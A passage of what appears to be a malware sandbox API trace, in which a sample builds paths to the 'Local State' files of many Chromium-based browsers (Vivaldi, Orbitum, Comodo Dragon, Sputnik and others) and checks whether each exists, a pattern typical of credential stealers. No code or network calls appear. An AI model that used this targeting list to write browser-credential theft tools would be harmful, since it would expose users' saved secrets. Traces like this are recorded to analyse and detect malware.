[0097.818] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\local state")) returned 0xffffffff [0097.818] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.818] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.818] SetLastError (dwErrCode=0x3) [0097.818] GetLastError () returned 0x3 [0097.819] SetLastError (dwErrCode=0x3) [0097.819] GetLastError () returned 0x3 [0097.819] SetLastError (dwErrCode=0x3) [0097.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6c1458, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.819] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.819] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" [0097.819] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\" [0097.819] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\" [0097.819] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State" [0097.819] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0097.819] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x82) returned 0x3430048 [0097.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x3430048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State") returned 65 [0097.819] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.819] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.819] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\local state")) returned 0xffffffff [0097.819] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.819] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.819] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] GetLastError () returned 0x3 [0097.820] SetLastError (dwErrCode=0x3) [0097.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6c0d98, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.820] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Orbitum\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" [0097.821] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\" [0097.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\" [0097.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State" [0097.821] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0097.821] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x86) returned 0x3430048 [0097.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x3430048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State") returned 67 [0097.821] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.821] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.821] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\orbitum\\user data\\local state")) returned 0xffffffff [0097.821] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.821] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.821] GetLastError () returned 0x3 [0097.821] SetLastError (dwErrCode=0x3) [0097.821] GetLastError () returned 0x3 [0097.821] SetLastError (dwErrCode=0x3) [0097.821] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] GetLastError () returned 0x3 [0097.822] SetLastError (dwErrCode=0x3) [0097.822] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Orbitum\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.822] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.822] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" [0097.822] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\" [0097.823] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\" [0097.823] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State" [0097.823] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0097.823] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x86) returned 0x3430048 [0097.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=67, lpWideCharStr=0x3430048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State") returned 67 [0097.823] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.823] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.823] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\vivaldi\\user data\\local state")) returned 0xffffffff [0097.823] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.823] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.823] GetLastError () returned 0x3 [0097.823] SetLastError (dwErrCode=0x3) [0097.823] GetLastError () returned 0x3 [0097.823] SetLastError (dwErrCode=0x3) [0097.823] GetLastError () returned 0x3 [0097.823] SetLastError (dwErrCode=0x3) [0097.823] GetLastError () returned 0x3 [0097.823] SetLastError (dwErrCode=0x3) [0097.823] GetLastError () returned 0x3 [0097.824] SetLastError (dwErrCode=0x3) [0097.824] GetLastError () returned 0x3 [0097.824] SetLastError (dwErrCode=0x3) [0097.824] GetLastError () returned 0x3 [0097.824] SetLastError (dwErrCode=0x3) [0097.824] GetLastError () returned 0x3 [0097.824] SetLastError (dwErrCode=0x3) [0097.824] GetLastError () returned 0x3 [0097.824] SetLastError (dwErrCode=0x3) [0097.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Vivaldi\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.824] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.824] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" [0097.824] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\" [0097.824] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\" [0097.824] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State" [0097.824] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0097.824] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x92) returned 0x3430048 [0097.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=73, lpWideCharStr=0x3430048, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State") returned 73 [0097.825] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.825] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.825] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data\\local state")) returned 0xffffffff [0097.825] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.825] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.825] SetLastError (dwErrCode=0x3) [0097.825] GetLastError () returned 0x3 [0097.826] SetLastError (dwErrCode=0x3) [0097.826] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008e, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6bb2b8, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.826] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.826] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Nichrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" [0097.826] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\" [0097.826] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\" [0097.826] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State" [0097.826] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0097.826] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x88) returned 0x3430048 [0097.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x3430048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State") returned 68 [0097.826] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.826] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.826] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\nichrome\\user data\\local state")) returned 0xffffffff [0097.826] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.826] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.826] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] GetLastError () returned 0x3 [0097.827] SetLastError (dwErrCode=0x3) [0097.827] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Nichrome\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.827] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.828] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Maxthon5\\Users\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" [0097.828] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\" [0097.828] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\" [0097.828] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State" [0097.828] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0097.828] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0097.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=64, lpWideCharStr=0x3430048, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State") returned 64 [0097.828] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0097.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.828] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maxthon5\\users\\local state")) returned 0xffffffff [0097.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.828] GetLastError () returned 0x3 [0097.828] SetLastError (dwErrCode=0x3) [0097.828] GetLastError () returned 0x3 [0097.828] SetLastError (dwErrCode=0x3) [0097.828] GetLastError () returned 0x3 [0097.828] SetLastError (dwErrCode=0x3) [0097.828] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] GetLastError () returned 0x3 [0097.829] SetLastError (dwErrCode=0x3) [0097.829] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Maxthon5\\Users\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007c, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6c0408, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.829] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.829] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Sputnik\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\" [0097.829] lstrcatA (in: lpString1="", 